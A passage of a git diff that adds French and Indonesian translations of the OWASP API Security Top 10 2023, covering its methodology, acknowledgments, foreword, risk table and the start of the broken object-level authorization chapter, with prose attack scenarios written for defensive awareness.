scénario d'attaque pour le rendre réel. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/fr/0xd0-about-data.md b/editions/2023/fr/0xd0-about-data.md new file mode 100644 index 000000000..01cedf68c --- /dev/null +++ b/editions/2023/fr/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Méthodologie et données + +## Aperçu + +Pour cette mise à jour de la liste, l'équipe OWASP API Security a utilisé la même méthodologie que celle utilisée pour la liste de 2019, qui a été bien adoptée et couronnée de succès, avec l'ajout d'un [Appel à Données][1] public de 3 mois. Malheureusement, cet appel à données n'a pas donné lieu à des données qui auraient permis une analyse statistique pertinente des problèmes de sécurité des API les plus courants. + +Cependant, avec une industrie de la sécurité des API plus mature capable de fournir des retours directs et des informations, le processus de mise à jour a avancé en utilisant la même méthodologie qu'auparavant. + +Arrivés ici, nous pensons disposer d'un document de sensibilisation prospectif pour les trois ou quatre prochaines années, plus axé sur les problèmes spécifiques aux API modernes. L'objectif de ce projet n'est pas de remplacer d'autres listes de TOP 10, mais plutôt de couvrir les risques de sécurité des API existants et à venir sur lesquels nous pensons que l'industrie devrait être consciente et vigilante. + +## Méthodologie + +Dans la première phase, des données publiques sur les incidents de sécurité des API ont été collectées, examinées et catégorisées. Ces données ont été collectées à partir de plateformes de bug bounty et de rapports disponibles publiquement. Seuls les problèmes signalés entre 2019 et 2022 ont été pris en compte. Ces données ont été utilisées pour donner à l'équipe une idée de la direction dans laquelle le TOP 10 devrait évoluer, ainsi que pour aider à traiter un éventuel biais des données contribuées. + +Un [Appel à Données][1] public a été lancé du 1er septembre au 30 novembre 2022. En parallèle, l'équipe du projet a commencé à discuter de ce qui a changé depuis 2019. La discussion a porté sur l'impact de la première liste, les retours reçus de la communauté et les nouvelles tendances en matière de sécurité des API. + +L'équipe du projet a organisé des réunions avec des spécialistes des menaces de sécurité des API pour obtenir des informations sur la manière dont les victimes sont impactées et sur la manière dont ces menaces peuvent être atténuées. + +Cet effort a abouti à une première ébauche de ce que l'équipe estime être les dix risques de sécurité des API les plus critiques. La [Méthodologie de Notation des Risques OWASP][2] a été utilisée pour effectuer l'analyse des risques. Les notations de prévalence ont été décidées à partir d'un consensus entre les membres de l'équipe du projet, sur la base de leur expérience dans le domaine. Pour des considérations sur ces questions, veuillez vous référer à la section [Risques de Sécurité des API][3]. + +La première ébauche a ensuite été partagée pour examen avec des professionels de la sécurité ayant une expérience dans les domaines de la sécurité des API. Leurs commentaires ont été examinés, discutés et, le cas échéant, inclus dans le document. Le document résultant a été [publié en tant que Candidat à la Publication][4] pour [discussion ouverte][5]. Plusieurs [contributions de la communauté][6] ont été incluses dans le document final. + +La liste des contributeurs est disponible dans la section [Remerciements][7]. + +## Risques spécifiques aux API + +La liste est construite pour aborder les risques de sécurité qui sont plus spécifiques aux API. + +Cela n'implique pas que d'autres risques de sécurité génériques d'applications n'existent pas dans les applications basées sur des API. Par exemple, nous n'avons pas inclus des risques tels que "Composants Vulnérables et Obsolètes" ou "Injection", même si vous pourriez les trouver dans des applications basées sur des API. Ces risques sont génériques, ils ne se comportent pas différemment dans les API, leur exploitation n'est pas différente. + +Notre objectif est d'augmenter la sensibilisation aux risques de sécurité qui méritent une attention particulière dans les API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0xd1-acknowledgments.md b/editions/2023/fr/0xd1-acknowledgments.md new file mode 100644 index 000000000..657fc8d88 --- /dev/null +++ b/editions/2023/fr/0xd1-acknowledgments.md @@ -0,0 +1,12 @@ +# Remerciements + +## Remerciements aux Contributeurs + +Nous aimerions remercier les contributeurs suivants qui ont contribué publiquement sur GitHub, ou via d'autres moyens : + +247arjun, abunuwas, Alissa Knight, Arik Atar, Aurélien Troncy, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/fr/images/cover.jpg b/editions/2023/fr/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/fr/images/cover.jpg differ diff --git a/editions/2023/fr/images/front-cc.png b/editions/2023/fr/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/fr/images/front-cc.png differ diff --git a/editions/2023/fr/images/front-wasp.png b/editions/2023/fr/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/fr/images/front-wasp.png differ diff --git a/editions/2023/fr/images/license.png b/editions/2023/fr/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/fr/images/license.png differ diff --git a/editions/2023/fr/images/owasp-logo.png b/editions/2023/fr/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/fr/images/owasp-logo.png differ diff --git a/editions/2023/id/0x00-header.md b/editions/2023/id/0x00-header.md new file mode 100644 index 000000000..d317ecadf --- /dev/null +++ b/editions/2023/id/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 edisi 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/id/0x00-notice.md b/editions/2023/id/0x00-notice.md new file mode 100644 index 000000000..7cd7e2431 --- /dev/null +++ b/editions/2023/id/0x00-notice.md @@ -0,0 +1,11 @@ +# Pemberitahuan + +Ini adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk semua versi resmi dokumen ini seperti situs web. + +Kontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk perincian tentang [Cara Berkontribusi][1], harap mengacu pada [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md \ No newline at end of file diff --git a/editions/2023/id/0x00-toc.md b/editions/2023/id/0x00-toc.md new file mode 100644 index 000000000..98a0fcb7b --- /dev/null +++ b/editions/2023/id/0x00-toc.md @@ -0,0 +1,23 @@ +# Daftar Isi + +* [Daftar Isi](0x00-toc.md) +* [Tentang OWASP](0x01-about-owasp.md) +* [Kata Pengantar](0x02-foreword.md) +* [Pendahuluan](0x03-introduction.md) +* [Catatan Rilis](0x04-release-notes.md) +* [Risiko Keamanan API](0x10-api-security-risks.md) +* [OWASP Top 10 Risiko Keamanan API - 2023](0x11-t10.md) +* [API1:2023 Kerusakan Otorisasi Tingkat Obyek](0xa1-broken-object-level-authorization.md) +* [API2:2023 Kerusakan Otentikasi](0xa2-broken-authentication.md) +* [API3:2023 Kerusakan Otorisasi Tingkat Properti Obyek](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Kerusakan Otorisasi Tingkat Fungsi](0xa5-broken-function-level-authorization.md) +* [API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Pemalsuan Permintaan Sisi Server](0xa7-server-side-request-forgery.md) +* [API8:2023 Kesalahan Konfigurasi Keamanan](0xa8-security-misconfiguration.md) +* [API9:2023 Manajemen Inventaris yang Tidak Tepat](0xa9-improper-inventory-management.md) +* [API10:2023 Konsumsi API yang Tidak Aman](0xaa-unsafe-consumption-of-apis.md) +* [Apa Selanjutnya untuk Pengembang](0xb0-next-devs.md) +* [Apa Selanjutnya untuk DevSecOps](0xb1-next-devsecops.md) +* [Metodologi dan Data](0xd0-about-data.md) +* [Ucapan Terima Kasih](0xd1-acknowledgments.md) diff --git a/editions/2023/id/0x01-about-owasp.md b/editions/2023/id/0x01-about-owasp.md new file mode 100644 index 000000000..3234831d0 --- /dev/null +++ b/editions/2023/id/0x01-about-owasp.md @@ -0,0 +1,44 @@ +# Tentang OWASP + +Open Worldwide Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan API yang dapat dipercaya. + +Di OWASP, Anda akan menemukan gratis dan terbuka: + +* Alat dan standar keamanan aplikasi. +* Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan tinjauan kode yang aman. +* Presentasi dan [video][1]. +* [Cheat sheet][2] berbagai topik umum. +* Kendali dan pustaka keamanan standar. +* [Chapter lokal di seluruh dunia][3]. +* Penelitian mutakhir. +* [Beragam konferensi di seluruh dunia][4]. +* [Mailing list][5] ([arsip][6]). + +Pelajari lebih lanjut di: [https://www.owasp.org][7]. + +Semua alat, dokumen, video, presentasi, dan chapter OWASP gratis dan terbuka bagi siapa pun yang tertarik dalam meningkatkan keamanan aplikasi. + +Kami menganjurkan melihat keamanan aplikasi sebagai masalah orang, proses, dan teknologi, karena pendekatan paling efektif terhadap keamanan aplikasi membutuhkan peningkatan di area ini. + +OWASP adalah organisasi jenis baru. Kebebasan kami dari tekanan komersial memungkinkan kami untuk memberikan informasi praktis, tidak bias, dan hemat biaya tentang keamanan aplikasi. + +OWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung penggunaan teknologi keamanan komersial yang terinformasi. OWASP memproduksi banyak jenis materi dengan cara kolaboratif, transparan, dan terbuka. + +Yayasan OWASP adalah entitas nirlaba yang memastikan keberhasilan jangka panjang proyek. Hampir semua orang yang terkait dengan OWASP adalah relawan, termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung penelitian keamanan inovatif dengan hibah dan infrastruktur. + +Bergabunglah dengan kami! + +## Hak Cipta dan Lisensi + +![license](images/license.png) + +Hak Cipta © 2003-2023 Yayasan OWASP. Dokumen ini dirilis di bawah [Creative Commons Attribution Share-Alike 4.0 license][8]. Untuk setiap penggunaan kembali atau distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/id/0x02-foreword.md b/editions/2023/id/0x02-foreword.md new file mode 100644 index 000000000..89863e67b --- /dev/null +++ b/editions/2023/id/0x02-foreword.md @@ -0,0 +1,26 @@ +# Kata Pengantar + +Elemen inovasi dasar di dunia yang digerakkan aplikasi hari ini adalah Application Programming Interface (API). Dari bank, ritel, dan transportasi hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting dari aplikasi seluler, SaaS, dan web aplikasi dan dapat ditemukan dalam aplikasi untuk pelanggan, mitra, dan internal. + +Berdasarkan sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi yang Dapat Diidentifikasi (PII) dan karena ini, API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan menjadi mustahil. + +Meskipun masih dapat menggunakan Top 10 risiko keamanan aplikasi web yang lebih luas, namun karena sifat khususnya, dibutuhkan daftar risiko keamanan API yang spesifik. Keamanan API berfokus pada strategi dan solusi untuk memahami dan memitigasi kerentanan unik dan risiko keamanan yang terkait dengan API. + +Jika Anda sudah akrab dengan [Proyek OWASP Top 10][1], maka Anda akan melihat kesamaan di antara kedua dokumen: mereka ditujukan agar mudah dibaca dan diadopsi. Jika anda baru mengenal seri OWASP Top 10, anda mungkin lebih baik membaca bagian [Risiko Keamanan API][2] dan [Metodologi dan Data][3] sebelum melompat ke daftar Top 10. + +Anda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Anda dapat menemukan OWASP API Security Top 10 di sini: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Kami ingin berterima kasih kepada semua kontributor yang membuat proyek ini terwujud dengan upaya dan kontribusi mereka. Mereka semua tercantum di bagian [Ucapan Terima Kasih][4]. Terima kasih! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0x03-introduction.md b/editions/2023/id/0x03-introduction.md new file mode 100644 index 000000000..1c7a21929 --- /dev/null +++ b/editions/2023/id/0x03-introduction.md @@ -0,0 +1,47 @@ +# Perkenalan + +## Selamat Datang di OWASP API Security Top 10 - 2023! + +Selamat datang di edisi kedua OWASP API Security Top 10! + +Dokumen ini pertama kali dipublikasikan pada tahun 2019. Sejak saat itu, industri keamanan API berkembang dan menjadi lebih dewasa. Kami sungguh percaya bahwa usaha ini telah berkontribusi positif terhadap hal itu, karena telah diadopsi secara cepat sebagai referensi industri. + +API memainkan peranan penting di dalam arsitektur aplikasi modern. Namun karena inovasi memiliki kecepatan yang berbeda dibanding membuat kesadaran keamanan, kami percaya adalah penting untuk fokus menciptakan kesadaran atas kelemahan-kelemahan keamanan API umum. + +Tujuan utama OWASP API Security Top 10 adalah mendidik mereka yang terlibat dalam pengembangan dan pengelolaan API, sebagai contoh, para pengembang, desainer, arsitek, manajer atau organisasi. Anda dapat mengetahui lebih lanjut tentang API Security +Project dengan mengunjungi [halaman proyek][1]. + +Jika anda tidak mengenal seri OWASP top 10, kami merekomendasikan anda untuk memeriksa beberapa proyek top 10 berikut ini: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Tidak ada proyek yang menggantikan satu dengan lainnya: jika anda bekerja dengan aplikasi mobile yang didukung oleh API back-end, anda sebaiknya membaca kedua top 10 yang terkait. Hal yang sama juga berlaku bila anda bekerja dengan aplikasi web atau desktop yang menggunakan API. + +Dalam bab [Metodologi dan Data][13], anda dapat membaca lebih lanjut bagaimana edisi ini dibuat. Untuk saat ini, kami menganjurkan setiap orang untuk berkontribusi dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami [repositori GitHub][14] or +[Mailing list][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/id/0x04-release-notes.md b/editions/2023/id/0x04-release-notes.md new file mode 100644 index 000000000..e7cafa085 --- /dev/null +++ b/editions/2023/id/0x04-release-notes.md @@ -0,0 +1,26 @@ +# Catatan Rilis + +Ini adalah edisi kedua OWASP API Security Top 10, tepat empat tahun setelah rilis pertama. Banyak perubahan terjadi dalam area keamanan API. Lalu lintas API meningkat dalam fase yang cepat, beberapa protokol API mendapatkan banyak daya tarik, berbagai solusi/vendor keamanan API telah bermunculan, dan tentu saja, para penyerang telah mengembangkan kemampuan dan teknik baru untuk menyerang API. Sudah saatnya untuk memperbarui daftar sepuluh risiko paling kritis keamanan API. + +Dengan semakin matangnya industri keamanan API, untuk pertama kalinya, ada [panggilan publik untuk data][1]. Namun sayangnya, tidak ada data yang dikontribusikan, namun berdasarkan pengalaman tim proyek, tinjauan cermat spesialis keamanan API, dan masukan dari komunitas, kami membuat daftar baru ini. Dalam bagian +[Metodologi dan Data][2], anda akan menemukan informasi rinci mengenai bagaimana versi ini dikembangkan. Informasi lebih rinci mengenai risiko keamanan silakan mengacu ke bagian +[Risiko Keamanan API][3]. + +OWASP API Security Top 10 2023 adalah dokumen kesadaran berwawasan ke depan untuk industri yang berkembang cepat. Dokumen ini tidak menggantikan TOP 10 lainnya. Dalam edisi ini: + +* Kami telah menggabungkan Paparan Data Berlebihan dan Penugasan Massal dengan berfokus pada akar masalah yang sama: kegagalan validasi otorisasi tingkat properti obyek. +* Kami lebih menekankan pada konsumsi sumber daya, daripada berfokus pada kecepatan mereka dihabiskan. +* Kami telah membuat kategori baru "Akses Tanpa Batas ke Aliran Bisnis Sensitif" untuk mengatasi ancaman baru, termasuk ancaman yang dapat dimitigasi dengan menggunakan pembatasan. +* Kami menambahkan "Konsumsi API yang Tidak Aman" untuk mengatasi sesuatu hal yang mulai kami jumpai: penyerang telah mulai menyasar layanan integrasi target, alih-alih menyerang API target secara langsung. Saat ini adalah saat yang tepat untuk mulai membuat kesadaran atas meningkatnya risiko ini. + +API memainkan peranan penting dalam arsitektur mikroservice modern, Single Page Applications (SPA), aplikasi mobile, IoT, dsb. OWASP API Security +Top 10 adalah upaya yang dibutuhkan untuk menciptakan kesadaran mengenai isu-isu keamanan API modern. + +Pembaruan ini hanya dimungkinkan berkat usaha besar beberapa sukarelawan yang tercantum dalam bagian [Ucapan Terima Kasih][4] section. + +Thank you! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0x10-api-security-risks.md b/editions/2023/id/0x10-api-security-risks.md new file mode 100644 index 000000000..f749e18d3 --- /dev/null +++ b/editions/2023/id/0x10-api-security-risks.md @@ -0,0 +1,39 @@ +# Risiko Keamanan API + +[Metodologi Pemeringkatan Risiko OWASP][1] digunakan untuk melakukan analisis risiko. + +Tabel berikut merangkum istilah yang diasosiasikan dengan nilai risiko. + +| Agen Ancaman | Eksploitasi | Prevalensi Kelemahan | Deteksi Kelemahan | Dampak Teknikal | Dampak Bisnis | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Spesifik API | Mudah : **3** | Tersebar luas **3** | Mudah **3** | Severe **3** | Spesifik Bisnis | +| Spesifik API | Menengah: **2** | Umum **2** | Menengah **2** | Sedang **2** | Spesifik Bisnis | +| Spesifik API | Sukar: **1** | Sukar **1** | Sukar **1** | Minor **1** | Spesifik Bisnis | + +**Catatan**: Pendekatan ini tidak mempertimbangkan kemungkinan agen ancaman, dan juga tidak mempertimbangkan berbagai rincian teknikal yang terkait dengan aplikasi anda. Semua faktor ini dapat secara signifikan mempengaruhi kemungkinan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Pemeringkatan ini tidak mempertimbangkan dampak aktual terhadap bisnis anda. Organisasi anda perlu menentukan tingkat risiko keamanan aplikasi dan API yang dapat diterima berdasarkan budaya, industri, dan lingkungan regulasi anda. OWASP API Security Top +10 tidak bertujuan melakukan risiko analisis ini untuk anda. Oleh karena edisi ini bukan berdasarkan data, namun berdasarkan konsensus umum di antara anggota tim. + +## Referensi + +### OWASP + +* [Metodologi Pemeringkatan Risiko OWASP][1] +* [Artikel tentang Pemodelan Ancaman/Risiko][2] + +### Eksternal + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/id/0x11-t10.md b/editions/2023/id/0x11-t10.md new file mode 100644 index 000000000..94a7b8ec6 --- /dev/null +++ b/editions/2023/id/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 Risiko Keamanan API – 2023 + +| Risiko | Keterangan | +| ---- | ----------- | +| [API1:2023 - Otorisasi Level Objek yang Rusak][api1] | API cenderung memaparkan titik akhir yang menangani pengenal obyek, hal ini menciptakan sebuah permukaan serangan yang luas atas Kendali Akses Tingkat Obyek. Pemeriksaan otorisasi tingkat obyek perlu dipertimbangkan di setiap fungsi yang mengakses sumber data menggunakan ID pengguna. | +| [API2:2023 - Otentikasi yang Rusak][api2] | Mekanisme otentikasi seringkali tidak diimplementasikan dengan tepat, hal ini memungkinkan penyerang untuk mengambil token otentikasi atau mengeksploitasi celah implementasi untuk mengambil identitas user lain secara sementara atau permanen. Membahayakan kemampuan sistem untuk mengeidentifikasi klien/pengguna, membahayakan keseluruhan keamanan API. | +| [API3:2023 - Otorisasi Tingkat Properti Objek yang Rusak][api3] | Kategori ini menggabungkan [API3:2019 Pengungkapan Data Berlebihan][1] dan [API6:2019 - Penugasan Massal][2], berfokus pada akar masalah: tidak adanya atau tidak tepatnya validasi otorisasi pada tingkat properti obyek. Hal ini berakibat pengungkapan atau manipulasi informasi oleh pihak yang tidak berwenang. | +| [API4:2023 - Konsumsi Sumber Daya yang Tidak Terbatas][api4] | Pemenuhan permintaan API membutuhkan sumber daya seperti lebar pita jaringan, CPU, memori, dan penyimpanan. Sumber daya lain seperti email/SMS/panggilan telpon atau validasi biometrik disediakan oleh para penyelenggara melalui integrasi API, dan dibayar berdasarkan jumlah permintaan. Serangan yang berhasil dapat menyebabkan Denial of Service atau meningkatnya biaya operasional. | +| [API5:2023 - Otorisasi Tingkat Fungsi yang Rusak][api5] | Kebijakan kendali akses yang kompleks dengan hierarki, kelompok, dan peran yang berbeda, serta tidak jelasnya pemisahan fungsi administratif dan reguler, cenderung mengakibatkan terjadinya celah otorisasi. Dengan mengeksploitasi isu ini, penyerang dapat memperoleh akses ke sumber daya dan/atau fungsi administratif pengguna lain. | +| [API6:2023 - Akses Tanpa Batas ke Aliran Bisnis Sensitif][api6] | API yang rentan terhadap risiko ini memaparkan alur bisnis - seperti membeli tiket, atau memberikan komentar - tanpa mengkompensasi bagaimana fungsionalitas tersebut dapat membahayakan bisnis bila digunakan secara berlebihan dengan menggunakan cara yang terotomatisasi. Hal ini tidak berarti disebabkan oleh kesalahan implementasi. | +| [API7:2023 - Pemalsuan Permintaan Sisi Server][api7] | Celah Pemalsuan Permintaan Sisi Server (Server-Side Request Forgery - SSRF) dapat terjadi ketika API mengambil sumber daya jauh tanpa memvalidasi URI yang diberikan pengguna. Hal ini memungkinan penyerang memaksa aplikasi untuk mengirimkan permintaan ke tujuan yang tidak terduga, bahkan bila dilindungi oleh firewall atau VPN. | +| [API8:2023 - Miskonfigurasi Keamanan][api8] | API dan sistem yang mendukung mereka biasanya berisikan konfigurasi yang kompleks, yang dimaksudkan untuk mempermudah penyesuaian API. Insinyur Software and DevOps dapat melewatkan konfigurasi ini, atau tidak mengikuti praktek keamanan terbaik, membuka pintu bagi beragam jenis serangan. | +| [API9:2023 - Pengelolaan Inventaris yang Tidak Tepat][api9] | API cenderung memaparkan lebih banyak titik akhir dibandingkan aplikasi web tradisional, membuat dokumentasi yang tepat dan terkini menjadi sangat penting. Inventori yang tepat mengenai host dan versi API yang diterapkan juga penting untuk memitigasi isu seperti API yang tidak lagi digunakan dan terbukanya titik akhir debug. | +| [API10:2023 - Konsumsi API yang Tidak Aman][api10] | Pengembang software cenderung mempercayai data yang diterima dari API pihak ketiga daripada input pengguna, dan akibatnya cenderung mengadopsi standar keamanan yang lebih lemah. Dalam rangka membahayakan API, penyerang mentargetkan layanan pihak ketiga alih-alih berusaha menyerang target API secara langsung. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/id/0xa1-broken-object-level-authorization.md b/editions/2023/id/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..34023fb7f --- /dev/null +++ b/editions/2023/id/0xa1-broken-object-level-authorization.md @@ -0,0 +1,75 @@ +# API1:2023 Otorisasi Level Obyek yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis | +| Penyerang dapat mengeksploitasi endpoint API yang rentan terhadap otorisasi level obyek yang rusak dengan memanipulasi ID obyek yang dikirim dalam permintaan. ID obyek bisa apa saja dari integer sekuensial, UUID, atau string generik. Terlepas dari tipe datanya, mereka mudah diidentifikasi dalam target permintaan (parameter path atau query string), header permintaan, atau bahkan sebagai bagian dari payload permintaan. | Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak keadaan klien, dan sebaliknya, lebih mengandalkan parameter seperti ID obyek, yang dikirim dari klien untuk memutuskan obyek mana yang akan diakses. Respons server biasanya cukup untuk mengetahui apakah permintaan berhasil. | Akses tanpa otorisasi ke obyek pengguna lain dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Dalam keadaan tertentu, akses tanpa otorisasi ke obyek juga dapat mengarah pada pengambilalihan akun total. | + +## Apakah API Rentan? + +Otorisasi level obyek adalah mekanisme kendali akses yang biasanya diimplementasikan di level kode untuk memvalidasi bahwa pengguna hanya dapat mengakses obyek yang seharusnya mereka miliki izin untuk mengaksesnya. + +Setiap endpoint API yang menerima ID obyek, dan melakukan tindakan apa pun pada obyek, harus menerapkan pemeriksaan otorisasi level obyek. Pemeriksaan tersebut harus memvalidasi bahwa pengguna yang login memiliki izin untuk melakukan tindakan yang diminta pada obyek yang diminta. + +Kegagalan dalam mekanisme ini biasanya mengarah pada pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data. + +Membandingkan ID pengguna sesi saat ini (misalnya dengan mengekstraknya dari token JWT) dengan parameter ID rentan bukanlah solusi yang memadai untuk menyelesaikan Otorisasi Level obyek yang Rusak (BOLA). Pendekatan ini hanya bisa mengatasi sebagian kecil kasus. + +Dalam kasus BOLA, memang dirancang bahwa pengguna akan memiliki akses ke endpoint/fungsi API yang rentan. Pelanggaran terjadi pada level obyek, dengan memanipulasi ID. Jika penyerang berhasil mengakses endpoint/fungsi API yang seharusnya tidak mereka akses - ini adalah kasus [Otorisasi Tingkat Fungsi yang Rusak][5] (BFLA) daripada BOLA. + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah platform e-commerce untuk toko online (toko) menyediakan sebuah halaman berisi grafik pendapatan toko yang di-hosting. Dengan memeriksa permintaan browser, seorang penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya: `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat memperoleh daftar semua nama toko yang di-hosting. Dengan skrip sederhana untuk memanipulasi nama dalam daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce. + +### Skenario #2 + +Sebuah produsen otomotif telah mengaktifkan kendali jarak jauh kendaraannya melalui API seluler untuk berkomunikasi dengan ponsel pengemudi. API memungkinkan pengemudi untuk memulai dan menghentikan mesin dan mengunci serta membuka kunci pintu dari jarak jauh. Sebagai bagian dari alur ini, pengguna mengirim Nomor Identifikasi Kendaraan (VIN) 